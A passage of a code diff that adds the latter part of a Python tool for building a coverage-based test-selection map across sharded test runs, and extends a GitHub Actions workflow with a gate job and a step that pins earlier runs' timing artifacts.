+    if not classes:
+        print("the class listing returned no classes", file=sys.stderr)
+        return 1
+    mine = [c for c in classes if shard_of(c, args.shards) == args.shard]
+    if not mine:
+        print("shard %d selected zero of %d classes" % (args.shard, len(classes)), file=sys.stderr)
+        return 1
+    os.makedirs(args.out, exist_ok=True)
+    with open(os.path.join(args.out, "listed.txt"), "w", encoding="utf-8", newline="\n") as handle:
+        handle.write("\n".join(mine) + "\n")
+    chunks = chunk_names(mine, args.budget)
+    for number, chunk in enumerate(chunks, 1):
+        with open(os.path.join(args.out, "chunk-%d.txt" % number), "w", encoding="utf-8", newline="\n") as handle:
+            handle.write("\n".join(chunk) + "\n")
+    print("shard %d of %d: %d of %d classes in %d chunk(s)" % (args.shard, args.shards, len(mine), len(classes), len(chunks)))
+    return 0
+
+
+# ---------------------------------------------------------------------------------------------------------
+# shard-report
+# ---------------------------------------------------------------------------------------------------------
+
+def xunit_stats(paths: list[str]) -> dict[str, list[float]]:
+    """{class: [seconds, tests, skipped, failed]} summed over the reports."""
+    out: dict[str, list[float]] = {}
+    for path in paths:
+        if not os.path.exists(path):
+            continue
+        for _, el in ET.iterparse(path, events=("end",)):
+            if el.tag != "test":
+                continue
+            row = out.setdefault((el.get("type") or "").replace("/", "+"), [0.0, 0, 0, 0])
+            try:
+                row[0] += float(el.get("time") or 0)
+            except ValueError:
+                pass
+            row[1] += 1
+            result = (el.get("result") or "").lower()
+            row[2] += result == "skip"
+            row[3] += result == "fail"
+            el.clear()
+    return out
+
+
+def cmd_shard_report(args) -> int:
+    probe = _probe()
+    listed = [ln.strip() for ln in open(args.listed, encoding="utf-8") if ln.strip()]
+    wanted = {c.replace("/", "+") for c in listed}
+    ctx: dict[str, set[str]] = {}
+    for report in args.report:
+        if not os.path.exists(report):
+            print("missing report " + report, file=sys.stderr)
+            continue
+        files, _stats, _totals, _prefix = probe.parse_report(report, args.root)
+        for cls, found in files.items():
+            ctx.setdefault(cls, set()).update(found)
+    stats = xunit_stats(args.xml)
+    classes = {}
+    for cls in sorted(wanted):
+        row = stats.get(cls, [0.0, 0, 0, 0])
+        classes[cls] = {"files": sorted(ctx.get(cls, ())), "seconds": round(row[0], 3), "tests": int(row[1]),
+                        "skipped": int(row[2]), "failed": int(row[3]), "seen": cls in ctx}
+    out = {"suite": SUITE_BY_NAME.get(args.suite, args.suite), "shard": args.shard, "tests_exit": args.tests_exit,
+           "listed": sorted(wanted), "classes": classes}
+    with open(args.out, "w", encoding="utf-8", newline="\n") as handle:
+        json.dump(out, handle, separators=(",", ":"))
+    seen = sum(1 for c in classes.values() if c["seen"])
+    print("%s shard %s: %d classes listed, %d with a test context, %d with files" % (
+        out["suite"], args.shard, len(classes), seen, sum(1 for c in classes.values() if c["files"])))
+    return 0
+
+
+# ---------------------------------------------------------------------------------------------------------
+# build
+# ---------------------------------------------------------------------------------------------------------
+
+def tracked_files(root: str, listing: str | None) -> list[str]:
+    if listing:
+        with open(listing, encoding="utf-8") as handle:
+            return sorted({norm(ln.strip()) for ln in handle if ln.strip()})
+    out = subprocess.run(["git", "-C", root, "ls-files", "-z"], capture_output=True, check=True).stdout.decode("utf-8")
+    return sorted({norm(p) for p in out.split("\0") if p})
+
+
+def read_text(root: str, rel: str) -> str:
+    try:
+        with open(os.path.join(root, rel), encoding="utf-8-sig", errors="replace") as handle:
+            return handle.read()
+    except OSError:
+        return ""
+
+
+def unescape(literal: str) -> str:
+    return literal[1:-1].replace("\\\\", "/").replace('\\"', '"')
+
+
+def _glob_hits(pattern: str, tracked: list[str]) -> list[str]:
+    return [f for f in tracked if fnmatch.fnmatchcase(f, pattern) or fnmatch.fnmatchcase(f, "*/" + pattern)]
+
+
+class Repo:
+    """What the checkout holds: tracked paths, type declarations and tool-name literals."""
+
+    def __init__(self, root: str, tracked: list[str]):
+        self.root = root
+        self.tracked = [f for f in tracked if not f.startswith(SKIP_DIRS) and "/obj/" not in f and "/bin/" not in f]
+        self.tracked_set = set(self.tracked)
+        self.top_dirs = {f.split("/", 1)[0] for f in self.tracked if "/" in f}
+        self.dirs: set[str] = set()  # every directory that holds a tracked file, as a path from the root
+        for f in self.tracked:
+            parts = f.split("/")[:-1]
+            for i in range(1, len(parts) + 1):
+                self.dirs.add("/".join(parts[:i]))
+        self.memo: dict[tuple[str, bool], list[str]] = {}
+        self.by_basename: dict[str, list[str]] = {}
+        for f in self.tracked:
+            self.by_basename.setdefault(f.rsplit("/", 1)[-1], []).append(f)
+        self.types: dict[str, set[str]] = {}
+        self.tools: dict[str, set[str]] = {}
+        self.cs_words: dict[str, frozenset[str]] = {}  # the identifiers of each .cs file, for the `Type.Member` rule
+        for f in self.tracked:
+            if not f.endswith(".cs"):
+                continue
+            text = read_text(root, f)
+            self.cs_words[f] = frozenset(re.findall(r"\w+", text))
+            for name in TYPE_DECL.findall(text):
+                self.types.setdefault(name, set()).add(f)
+            if not TEST_DIR.search(f):
+                for lit in LITERAL.findall(text):
+                    inner = lit[1:-1]
+                    if len(inner) >= 6 and TOOL_NAME.match(inner):
+                        self.tools.setdefault(inner, set()).add(f)
+
+    def resolve(self, candidate: str, reads_text: bool) -> list[str]:
+        """Patterns for a path-like literal of a test source; empty when it names nothing in the checkout."""
+        key = (candidate, reads_text)
+        if key not in self.memo:
+            self.memo[key] = self._resolve(candidate, reads_text)
+        return self.memo[key]
+
+    def _resolve(self, candidate: str, reads_text: bool) -> list[str]:
+        c = candidate.strip("/")
+        if not c or c in (".", "..") or not PATHLIKE.match(candidate):
+            return []
+        if "*" in c:
+            return [c] if _glob_hits(c, self.tracked) else []
+        if c in self.tracked_set:
+            return [c]
+        suffix = [f for f in self.by_basename.get(c.rsplit("/", 1)[-1], []) if f.endswith("/" + c)]
+        if suffix:
+            return suffix[:MAX_BASENAME_MATCHES] if len(suffix) <= MAX_BASENAME_MATCHES else []
+        if "/" not in c:
+            if c.rsplit(".", 1)[-1] in FILE_EXT and "." in c:
+                hits = self.by_basename.get(c, [])
+                return hits if 0 < len(hits) <= MAX_BASENAME_MATCHES else []
+            return [c + "/**"] if reads_text and c in self.top_dirs else []
+        return [c + "/**"] if c in self.dirs else []
+
+
+def analyze_source(text: str, repo: Repo, own_file: str, own_types: set[str]) -> dict:
+    """What one test source file says about the files it depends on."""
+    reads = bool(TEXT_READ.search(text))
+    literals = [unescape(m) for m in LITERAL.findall(text)]
+    candidates = list(literals)
+    candidates += [m for m in COMMENT_PATH.findall(text) if m.rsplit(".", 1)[-1] in FILE_EXT]
+    for run in RUN.findall(text):
+        parts = [unescape(x) for x in LITERAL.findall(run)]
+        if all(PATHLIKE.match(p) for p in parts):
+            candidates.append("/".join(p.strip("/") for p in parts))
+    patterns: dict[str, None] = {}
+    bare_glob = False
+    for cand in dict.fromkeys(candidates):
+        cand = cand.replace("\\", "/")
+        if "*" in cand and "/" not in cand.strip("/") and PATHLIKE.match(cand):
+            bare_glob = True  # `*.cs`, `*`: a search pattern that names no place, so it cannot narrow a tree walk
+            continue
+        for pat in repo.resolve(cand, reads):
+            if pat != own_file:
+                patterns[pat] = None
+    tools = 0
+    for lit in dict.fromkeys(literals):
+        if len(lit) >= 6 and TOOL_NAME.match(lit):
+            hits = repo.tools.get(lit, set())
+            if 0 < len(hits) <= MAX_TOOL_FILES:
+                for f in sorted(hits):
+                    patterns[f] = None
+                    tools += 1
+    walks = reads and "AllDirectories" in text
+    return {"patterns": list(patterns), "reads_text": reads, "walks_tree": walks, "tool_hits": tools,
+            # A class that walks directories as text and names no place to walk, or only a bare wildcard, reads the tree.
+            "tree": walks and (bare_glob or not patterns)}
+
+
+def type_files(text: str, repo: Repo, own_file: str, own_types: set[str], max_files: int) -> set[str]:
+    """The type-name rule: a type named in the test source maps to the file(s) declaring it."""
+    found: set[str] = set()
+    for name in set(IDENT.findall(text)):
+        if name in own_types:
+            continue
+        files = repo.types.get(name)
+        if files and len(files) <= max_files:
+            found |= files
+        elif files:
+            # A partial type declared in many files: the files named after it (`Foo.cs`, `Foo.Plans.cs`) are the ones
+            # a test that names the type most plausibly pins; the rest come only through coverage or `Type.Member`.
+            named = {f for f in files if f.rsplit("/", 1)[-1].startswith(name + ".") and f != own_file}
+            found |= named if len(named) <= MAX_NAMED_PARTIALS else {f for f in named if f.endswith("/" + name + ".cs")}
+    found.discard(own_file)
+    return found
+
+
+def member_files(text: str, repo: Repo, own_file: str, max_files: int) -> set[str]:
+    """`Type.Member` where Type is a partial type declared in more than `max_files` files: the files of Type that
+    mention Member, when that is at most MAX_MEMBER_FILES. A test that pins a const SQL string of a partial class
+    (`ViewerDataService.CollectionHealthSql`) runs no code in it, so coverage never sees the file."""
+    found: set[str] = set()
+    for typ, member in set(MEMBER_REF.findall(text)):
+        files = repo.types.get(typ)
+        if not files or len(files) <= max_files:
+            continue
+        hits = {f for f in files if f != own_file and member in repo.cs_words.get(f, ())}
+        if 0 < len(hits) <= MAX_MEMBER_FILES:
+            found |= hits
+    return found
+
+
+def overflow_type_files(text: str, repo: Repo, own_file: str, own_types: set[str], max_files: int) -> set[str]:
+    """Files of the types the type-name rule dropped for being declared in more than `max_files` files (partial
+    classes). Only a class that would otherwise be a hole takes them: more files, never fewer."""
+    found: set[str] = set()
+    for name in set(IDENT.findall(text)):
+        if name in own_types:
+            continue
+        files = repo.types.get(name)
+        if files and len(files) > max_files:
+            found |= files
+    found.discard(own_file)
+    return found
+
+
+def test_references(root: str, repo: Repo) -> dict[str, set[str]]:
+    """Test class name -> the test source files that name it (another file than its own). A class named in a test
+    file is pinned by it, so a change to that file selects the class: the Darling and Lite twin tests name each other
+    in crefs and comments, and a sibling class in the same live store is named by the class that extends it."""
+    decl_files: dict[str, set[str]] = {}
+    texts: dict[str, str] = {}
+    for rel in repo.tracked:
+        if not rel.endswith(".cs") or not any(rel.startswith(d + "/") for d in SUITE_DIRS.values()):
+            continue
+        text = read_text(root, rel)
+        texts[rel] = text
+        for cls in CLASS_DECL.findall(text):
+            decl_files.setdefault(cls, set()).add(rel)
+    refs: dict[str, set[str]] = {}
+    for rel, text in texts.items():
+        for name in set(IDENT.findall(text)):
+            own = decl_files.get(name)
+            if own and rel not in own:
+                refs.setdefault(name, set()).add(rel)
+    return refs
+
+
+def xaml_siblings(path: str, repo: Repo) -> set[str]:
+    """`Foo.xaml.cs` and generated `Foo.g.cs` stand for `Foo.xaml`: a change to the markup changes what they run."""
+    out: set[str] = set()
+    if path.endswith(".xaml.cs"):
+        if path[:-3] in repo.tracked_set:
+            out.add(path[:-3])
+    elif path.endswith((".g.cs", ".g.i.cs")):
+        stem = path.rsplit("/", 1)[-1].split(".g", 1)[0]
+        out.update(repo.by_basename.get(stem + ".xaml", []))
+    return out
+
+
+def load_shards(directory: str) -> dict[str, list[dict]]:
+    shards: dict[str, list[dict]] = {}
+    for path in sorted(glob.glob(os.path.join(directory, "**", "shard*.json"), recursive=True)):
+        with open(path, encoding="utf-8") as handle:
+            data = json.load(handle)
+        shards.setdefault(data["suite"], []).append(data)
+    return shards
+
+
+def class_collections(text: str) -> dict[str, set[str]]:
+    """{class: {xunit collection names}} for the classes declared in one source file: the [Collection("x")] attributes
+    written between the previous member's end and the class declaration."""
+    out: dict[str, set[str]] = {}
+    for m in CLASS_DECL.finditer(text):
+        window = text[max(0, m.start() - 800):m.start()]
+        window = window[max(window.rfind("}"), window.rfind(";")) + 1:]
+        out[m.group(1)] = set(COLLECTION_ATTR.findall(window))
+    return out
+
+
+def shared_fixture_files(files_by_class: dict[str, set[str]], collections_by_class: dict[str, set[str]],
+                         never: set[str], share: float = COLLECTION_SHARE,
+                         min_members: int = COLLECTION_MIN_MEMBERS) -> dict[str, set[str]]:
+    """Files each class of a big xunit collection must also depend on: the ones more than `share` of the collection's
+    classes visited (see COLLECTION_SHARE). `never` holds files that cannot be a shared dependency (a test class's own
+    file). Returns {class: files to add}. A collection under `min_members` classes adds nothing: a small collection's
+    overlap is its tests' own, not a fixture's."""
+    members: dict[str, list[str]] = {}
+    for cls, names in collections_by_class.items():
+        for name in names:
+            members.setdefault(name, []).append(cls)
+    out: dict[str, set[str]] = {}
+    for classes in members.values():
+        if len(classes) < min_members:
+            continue
+        seen: dict[str, int] = {}
+        for cls in classes:
+            for f in files_by_class.get(cls, ()):
+                seen[f] = seen.get(f, 0) + 1
+        shared = {f for f, n in seen.items() if n / len(classes) > share and f not in never}
+        for cls in classes:
+            add = shared - files_by_class.get(cls, set())
+            if add:
+                out.setdefault(cls, set()).update(add)
+    return out
+
+
+def build_map(root: str, tracked: list[str], shards: dict[str, list[dict]], sha: str, built_at: str, tool: str,
+              max_ident_files: int) -> tuple[dict, dict]:
+    """Returns (the map, the facts the summary prints)."""
+    repo = Repo(root, tracked)
+    refs = test_references(root, repo)
+    suites = {}
+    patterns_out: dict[str, "list[str] | str"] = {}
+    used: set[str] = set()
+    facts = {"suites": {}, "holes": [], "skipped_all": [], "unlisted_contexts": 0}
+    for suite, test_dir in SUITE_DIRS.items():
+        parts = shards.get(suite, [])
+        if not parts:
+            raise SystemExit("no shard reports for suite " + suite)
+        # simple name -> merged coverage over every shard / retry that reported it
+        merged: dict[str, dict] = {}
+        for part in parts:
+            for full, row in part["classes"].items():
+                m = merged.setdefault(simple_name(full), {"files": set(), "seconds": 0.0, "tests": 0, "skipped": 0,
+                                                          "seen": False})
+                m["files"].update(row["files"])
+                m["seconds"] = max(m["seconds"], row["seconds"])  # a retry re-runs the class: keep the longer, not the sum
+                m["tests"] = max(m["tests"], row["tests"])
+                m["skipped"] = max(m["skipped"], row["skipped"])
+                m["seen"] = m["seen"] or row["seen"]
+        sources: dict[str, dict] = {}  # simple class name -> {own files, ident files, patterns...}
+        for rel in repo.tracked:
+            if not rel.startswith(test_dir + "/") or not rel.endswith(".cs"):
+                continue
+            text = read_text(root, rel)
+            decls = CLASS_DECL.findall(text)
+            if not decls:
+                continue
+            own_types = set(TYPE_DECL.findall(text))
+            guard = bool(GUARD_MARKER.search(text))
+            info = analyze_source(text, repo, rel, own_types)
+            idents = type_files(text, repo, rel, own_types, max_ident_files) | member_files(text, repo, rel, max_ident_files)
+            over = overflow_type_files(text, repo, rel, own_types, max_ident_files)
+            colls = class_collections(text)
+            for cls in decls:
+                s = sources.setdefault(cls, {"own": set(), "ident": set(), "patterns": {}, "tree": False, "guard": False,
+                                             "overflow": set(), "collections": set()})
+                s["collections"] |= colls.get(cls, set())
+                s["own"].add(rel)
+                s["ident"] |= idents
+                s["overflow"] |= over
+                s["guard"] = s["guard"] or guard
+                s["tree"] = s["tree"] or info["tree"]
+                for pat in info["patterns"]:
+                    s["patterns"][pat] = None
+        entries: dict[str, dict] = {}
+        covered = holes = guards = 0
+        for cls, m in sorted(merged.items()):
+            src = sources.get(cls)
+            files: set[str] = set()
+            for f in m["files"]:
+                f = norm(f)
+                if f in repo.tracked_set:
+                    files.add(f)
+                    files |= xaml_siblings(f, repo)
+                else:
+                    files |= xaml_siblings(f, repo)
+            own = sorted(src["own"]) if src else []
+            ident = set(src["ident"]) if src else set()
+            files |= ident
+            files -= set(own)
+            pats: "list[str] | str" = []
+            if src and not src["guard"]:
+                named_by = sorted(refs.get(cls, set()) - set(own))
+                pats = "tree" if src["tree"] else list(dict.fromkeys(list(src["patterns"]) + named_by))
+                # A class that would be a hole (no product file, no pattern) takes the files of the partial types it
+                # names, however many there are; past the cap it reads the tree. More files, never fewer.
+                if not pats and not any(not TEST_DIR.search(f) for f in files) and src["overflow"]:
+                    if len(src["overflow"]) <= MAX_OVERFLOW_FILES:
+                        files |= src["overflow"] - set(own)
+                    else:
+                        pats = "tree"
+            used.update(files)
+            used.update(own)
+            entry = {"own": own, "files": sorted(files), "seconds": round(m["seconds"], 3)}
+            entries[cls] = entry
+            if pats:
+                key = patterns_out.get(cls)
+                if pats == "tree" or key == "tree":
+                    patterns_out[cls] = "tree"
+                else:
+                    patterns_out[cls] = sorted(set(pats) | set(key or []))
+            # A test method's own body and the shared test helpers are always visited; only a product file counts.
+            has_cov = any(not TEST_DIR.search(f) for f in files)
+            if src and src["guard"]:
+                guards += 1
+            elif has_cov or pats:
+                covered += 1
+            else:
+                holes += 1
+                facts["holes"].append((suite, cls, "every test skipped" if m["tests"] and m["skipped"] == m["tests"]
+                                       else "no test context" if not m["seen"] else "no product file"))
+            if m["tests"] and m["skipped"] == m["tests"]:
+                facts["skipped_all"].append((suite, cls))
+        # A class of a big xunit collection depends on what the collection's fixture ran (see COLLECTION_SHARE).
+        all_own = {f for e in entries.values() for f in e["own"]}
+        shared = shared_fixture_files({c: set(e["files"]) for c, e in entries.items()},
+                                      {c: sources[c]["collections"] for c in entries
+                                       if c in sources and not sources[c]["guard"]}, all_own)
+        for cls, add in shared.items():
+            entries[cls]["files"] = sorted(set(entries[cls]["files"]) | add)
+            used.update(add)
+        suites[suite] = entries
+        facts["suites"][suite] = {"classes": len(entries), "covered": covered, "guard": guards, "holes": holes,
+                                  "shards": len(parts), "tests_exit": [p.get("tests_exit") for p in parts],
+                                  "listed": sum(len(p["listed"]) for p in parts)}
+    universe = sorted(used)
+    index = {f: i for i, f in enumerate(universe)}
+    for entries in suites.values():
+        for e in entries.values():
+            own = [index[f] for f in e["own"]]
+            e["own"] = own[0] if len(own) == 1 else own
+            e["files"] = [index[f] for f in e["files"]]
+    result = {"schema": SCHEMA, "sha": sha, "built_at": built_at, "tool": tool, "files": universe, "classes": suites,
+              "text_patterns": dict(sorted(patterns_out.items()))}
+    # Product .cs files no class reaches: a change to one makes the PR gate run everything (FULL), which is the safe answer.
+    known = set(universe)
+    unreached = [f for f in repo.tracked if f.endswith(".cs") and f not in known and not TEST_DIR.search(f)]
+    facts["unreached_product_files"] = len(unreached)
+    facts["tracked_cs"] = sum(1 for f in repo.tracked if f.endswith(".cs"))
+    return result, facts
+
+
+def summary_text(test_map: dict, facts: dict, gz_bytes: int, raw_bytes: int) -> str:
+    lines = ["### Test map", "",
+             "sha `%s`, built %s, tool `%s`." % (test_map["sha"][:10], test_map["built_at"], test_map["tool"]), "",
+             "| suite | shards | classes listed | in the map | covered | Guard | holes |", "|---|---|---|---|---|---|---|"]
+    for suite, f in facts["suites"].items():
+        lines.append("| %s | %d | %d | %d | %d | %d | %d |" % (suite, f["shards"], f["listed"], f["classes"], f["covered"],
+                                                               f["guard"], f["holes"]))
+    patterns = test_map["text_patterns"]
+    lines += ["", "- files in the universe: %d (of %d tracked .cs files; %d product .cs files no class reaches, so a change to "
+              "one is a FULL run)" % (len(test_map["files"]), facts["tracked_cs"], facts["unreached_product_files"]),
+              "- text patterns: %d classes (%d read the whole tree)" % (len(patterns), sum(1 for v in patterns.values() if v == "tree")),
+              "- size: %d bytes gzip, %d bytes raw" % (gz_bytes, raw_bytes),
+              "- classes whose every test skipped: %d" % len(facts["skipped_all"]),
+              "- holes (no files and no pattern): %d" % len(facts["holes"])]
+    if facts["holes"]:
+        lines += ["", "<details><summary>holes</summary>", ""]
+        lines += ["- %s %s (%s)" % hole for hole in facts["holes"][:200]]
+        lines += ["", "</details>"]
+    return "\n".join(lines) + "\n"
+
+
+def cmd_build(args) -> int:
+    root = os.path.abspath(args.root)
+    tracked = tracked_files(root, args.tracked)
+    shards = load_shards(args.shards)
+    for item in args.expect:
+        suite, _, count = item.partition("=")
+        have = sorted({p["shard"] for p in shards.get(suite, [])})
+        if have != list(range(int(count))):
+            print("suite %s: expected shards 0..%d, found %s - no map written" % (suite, int(count) - 1, have),
+                  file=sys.stderr)
+            return 1
+    built_at = args.built_at or datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+    test_map, facts = build_map(root, tracked, shards, args.sha, built_at, args.tool, args.max_ident_files)
+    raw = json.dumps(test_map, separators=(",", ":")).encode("utf-8")
+    with open(args.out, "wb") as handle:
+        handle.write(gzip.compress(raw, 9, mtime=0))
+    size = os.path.getsize(args.out)
+    text = summary_text(test_map, facts, size, len(raw))
+    if args.summary:
+        with open(args.summary, "w", encoding="utf-8", newline="\n") as handle:
+            handle.write(text)
+    print(text)
+    return 0
+
+
+def main(argv=None) -> int:
+    ap = argparse.ArgumentParser(description=__doc__.split("\n", 1)[0])
+    sub = ap.add_subparsers(dest="command", required=True)
+    cut = sub.add_parser("cut")
+    cut.add_argument("--list", required=True)
+    cut.add_argument("--shards", type=int, required=True)
+    cut.add_argument("--shard", type=int, required=True)
+    cut.add_argument("--budget", type=int, default=30000)
+    cut.add_argument("--out", required=True)
+    cut.set_defaults(func=cmd_cut)
+    rep = sub.add_parser("shard-report")
+    rep.add_argument("--suite", required=True)
+    rep.add_argument("--shard", type=int, required=True)
+    rep.add_argument("--root", required=True)
+    rep.add_argument("--listed", required=True)
+    rep.add_argument("--report", action="append", default=[])
+    rep.add_argument("--xml", action="append", default=[])
+    rep.add_argument("--tests-exit", type=int, default=0)
+    rep.add_argument("--out", required=True)
+    rep.set_defaults(func=cmd_shard_report)
+    bld = sub.add_parser("build")
+    bld.add_argument("--root", required=True)
+    bld.add_argument("--shards", required=True, help="a folder holding every shard.json (searched recursively)")
+    bld.add_argument("--sha", required=True)
+    bld.add_argument("--built-at")
+    bld.add_argument("--tool", default="altcover")
+    bld.add_argument("--tracked", help="a file listing the tracked paths (default: git ls-files)")
+    bld.add_argument("--expect", action="append", default=[], help="suite=count: refuse to build unless shards 0..count-1 all reported")
+    bld.add_argument("--max-ident-files", type=int, default=5)
+    bld.add_argument("--out", required=True)
+    bld.add_argument("--summary")
+    bld.set_defaults(func=cmd_build)
+    args = ap.parse_args(argv)
+    return args.func(args)
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 9c1eecdb13..9c93951cdf 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -4,6 +4,9 @@ on:
   push:
     branches: [main, dev]
   pull_request:
+    # `ready_for_review` is here because the `gate` job below skips every PR job while the PR is a
+    # draft: marking it ready is the event that starts the real run.
+    types: [opened, synchronize, reopened, ready_for_review]
     branches: [main, dev]
   release:
     types: [published]
@@ -26,12 +29,28 @@ permissions:
 # serializes everyone's CI (#1697 sat queued behind two dev builds; on 2026-07-26 a
 # ~20-merge train left 13 of the day's 30 dev-push runs finishing SHAs a newer merge had
 # already replaced — ~60 reclaimable runner-minutes in one evening). Cancelling a
-# superseded PUSH run is safe because a push run produces nothing any other run consumes:
-# every upload-artifact step in this workflow is gated to the release event (the SignPath
-# signing path) or to failure() (darling-pg diagnostics), nothing in the repo downloads
-# cross-run artifacts (no download-artifact, gh run download, or workflow_run consumer
-# exists), nightly.yml builds its own tree from its own checkout, and a release compiles
-# fresh on the release event. The accepted trade: push builds are diff-scoped, so a
+# superseded PUSH run is safe because no run's RESULT depends on another run's output: every
+# upload-artifact step in this workflow is gated to the release event (the SignPath signing
+# path) or to failure() (darling-pg diagnostics), except the per-run Lite timing uploads
+# (#5208) and the Guard job's two test-build uploads (#5459), which only jobs of the SAME run
+# download (no run-id; a cancelled run's build is never read by another run), and exactly ONE
+# thing reads a previous run's artifacts: the Lite shard packer (#5208). The gate job picks, once per run, the newest successful push run on dev (of the 30
+# newest successful dev runs) whose lite-tests-timing artifacts ALL have more than two days of
+# retention left, and pins that run and its exact artifact set; every Lite shard downloads that
+# set and fails if it gets anything else. A cancelled run is not a successful run, so a
+# cancelled push run is never read. With no such run the cut is the plain class-name hash, and
+# timings the packer cannot use (none readable, all zero, or covering under 80% of this commit's
+# classes) send every shard to that same hash. So cancelling can cost shard balance but never a
+# test class or a verdict. The one other reader of another run's artifacts is the test map
+# (#5459): it reads the NIGHTLY's `test-map` artifact (nightly.yml runs are never in this
+# workflow's concurrency group, so nothing here cancels them), and a missing map only means
+# the selection is FULL, which runs every class. The selection it yields reaches the shards
+# through this run's own artifact (same run, so nothing here is read across runs). No other cross-run consumer (a
+# download-artifact with run-id, a gh run download, or a workflow_run trigger) exists
+# (CrossAppGuardCiGateTests pins both halves),
+# nightly.yml builds its own tree from its own checkout, and a release compiles fresh on the
+# release event. The accepted
+# trade: push builds are diff-scoped, so a
 # cancelled run's areas are not re-verified until the next change touches them — the
 # nightly and the all-areas dev->main release PR are the backstops. Release and
 # merge-queue runs deliberately keep a UNIQUE group per run (run_id) and are NEVER
@@ -42,8 +61,470 @@ concurrency:
   cancel-in-progress: ${{ github.event_name == 'pull_request' || github.event_name == 'push' }}
 
 jobs:
-  build:
+  # THE ONE DECISION about whether this run does any work. Every PR job below `needs: gate` and runs
+  # only while `run` is true, so the rule lives in one place instead of being repeated on each job.
+  #
+  # Runs, in order:
+  #   - any event that is not a pull request (push, release, merge_group): always.
+  #   - a pull request from a `train/` branch: always, draft or not. A merge-train pull request exists
+  #     only to run CI, so skipping it would defeat it.
+  #   - a pull request carrying the `merge-train` label: never. The train's own run already covered the
+  #     member, which is then marked ready and merged straight away, so a second run is wasted. The label
+  #     is read from the event payload, so it has to be on the pull request BEFORE it is marked ready.
+  #   - a draft pull request: never. Marking it ready starts the run (`ready_for_review`).
+  #   - any other pull request: yes.
+  #
+  # A skipped job reports as skipped, and GitHub counts skipped as passing for a required check. A run
+  # the gate declined therefore must not read as green, so three jobs turn it into a FAILURE on a pull
+  # request: `build` (its first step), `Darling PostgreSQL tests` and `Lite tests (result)`. Those are the
+  # required checks, and each keeps its own name. The failure is the intended outcome: a draft or
+  # merge-train pull request shows red until it is marked ready (or, for a merge-train member, until an
+  # admin merges it after the train covered it). Branch protection does not bind admins, so
+  # `gh pr merge --admin` still works.
+  gate:
+    name: Decide whether CI runs
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    # actions: read is for the timing-source and test-map steps below: they list runs and artifacts.
+    # contents: read is for the test-map step's ancestry check (the compare API on the base).
+    permissions:
+      actions: read
+      contents: read
+    outputs:
+      run: ${{ steps.decide.outputs.run }}
+      lite_timing_run: ${{ steps.timing.outputs.run_id }}
+      lite_timing_artifacts: ${{ steps.timing.outputs.artifacts }}
+      test_map_run: ${{ steps.testmap.outputs.run_id }}
+      test_map_sha: ${{ steps.testmap.outputs.sha }}
+    steps:
+      - name: Decide
+        id: decide
+        shell: bash
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          IS_DRAFT: ${{ github.event.pull_request.draft }}
+          HEAD_REF: ${{ github.event.pull_request.head.ref }}
+          HAS_MERGE_TRAIN_LABEL: ${{ contains(github.event.pull_request.labels.*.name, 'merge-train') }}
+        run: |
+          set -euo pipefail
+
+          if [ "${EVENT_NAME}" != "pull_request" ]; then
+            run=true; why="a ${EVENT_NAME} event always runs."
+          elif [[ "${HEAD_REF}" == train/* ]]; then
+            run=true; why="a merge-train pull request exists to run CI."
+          elif [ "${HAS_MERGE_TRAIN_LABEL}" = "true" ]; then
+            run=false; why="the pull request carries the merge-train label, so its train run already covered it."
+          elif [ "${IS_DRAFT}" = "true" ]; then
+            run=false; why="the pull request is a draft. Marking it ready for review starts the run."
+          else
+            run=true; why="a pull request that is ready for review runs."
+          fi
+
+          echo "run=${run}" >> "$GITHUB_OUTPUT"
+          if [ "${run}" = "true" ]; then
+            echo "::notice title=CI runs::${why}"
+          else
+            echo "::notice title=CI skipped::${why}"
+          fi
+
+      # #5208: the ONE timing source every Lite shard of this run balances its cut from. It is picked
+      # here, once, because the four shards start minutes apart and a pick made inside each shard would
+      # race a dev run finishing in between: two shards would then cut the suite from different timings,
+      # and a class could land in two shards or none, which no check inside a single shard can see.
+      # Only SUCCESSFUL push runs on dev qualify (a cancelled run is never read, and a push to dev is
+      # code that already merged), and ALL of its timing artifacts must outlive this run by two days, so
+      # they cannot expire while the shards are queued or being re-run. The exact artifact names are
+      # pinned too (the artifacts output), and each shard checks that it downloaded exactly that set.
+      # Every failure here means "no source", which the shards all read the same way: the plain
+      # class-name hash cut. The step cannot fail the gate.
+      - name: Pin the Lite timing source
+        id: timing
+        if: github.event_name != 'release' && steps.decide.outputs.run == 'true'
+        continue-on-error: true
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+        run: |
+          set -uo pipefail
+
+          export KEEP_UNTIL FRESH_AFTER
+          tries=3
+          stale_days=5
+          KEEP_UNTIL=$(date -u -d '+2 days' +%Y-%m-%dT%H:%M:%SZ)
+          FRESH_AFTER=$(date -u -d "-${stale_days} days" +%Y-%m-%dT%H:%M:%SZ)
+          source_run=""
+          source_artifacts=""
+          runs=""
+          stale_tries=0
+          failed_tries=0
+          # Filtered on the event here, not in the query: the API's branch+event+status combination
+          # returns a stale page of old runs. Branch+status can return one TOO, now and then: 30 rows
+          # from weeks ago, whose artifacts have long expired, where the current rows should be, and then
+          # every Lite shard cuts by hash although a qualifying run exists (#5208). So the listing is
+          # tried up to three times (tries), five seconds apart, and a page is taken only when a push run
+          # on it FINISHED in the last five days (stale_days), judged on updated_at and not on created_at:
+          # artifacts expire seven days after their UPLOAD, a run uploads before it finishes, and a re-run
+          # uploads again, so the two days of margin the check below wants can only be met by a run that
+          # finished within five days, however long ago it was created. A page whose latest finish is older
+          # cannot hold a usable source anyway. A failed call counts as a try too. When no try gets a
+          # current page the cut is the hash, and the notice below says what the tries saw. (A pull request
+          # FROM dev carries head_branch dev too, hence the event test.)
+          for attempt in $(seq 1 "${tries}"); do
+            if [ "${attempt}" -gt 1 ]; then
+              sleep 5
+            fi
+            if page=$(gh api "repos/${GH_REPO}/actions/workflows/build.yml/runs?branch=dev&status=success&per_page=30" --jq '[.workflow_runs[] | select(.event == "push")] | (map(.updated_at) | max) as $newest | if $newest > env.FRESH_AFTER then .[].id else "stale \($newest // "none")" end'); then
+              case "${page}" in
+                stale*)
+                  stale_tries=$((stale_tries + 1))
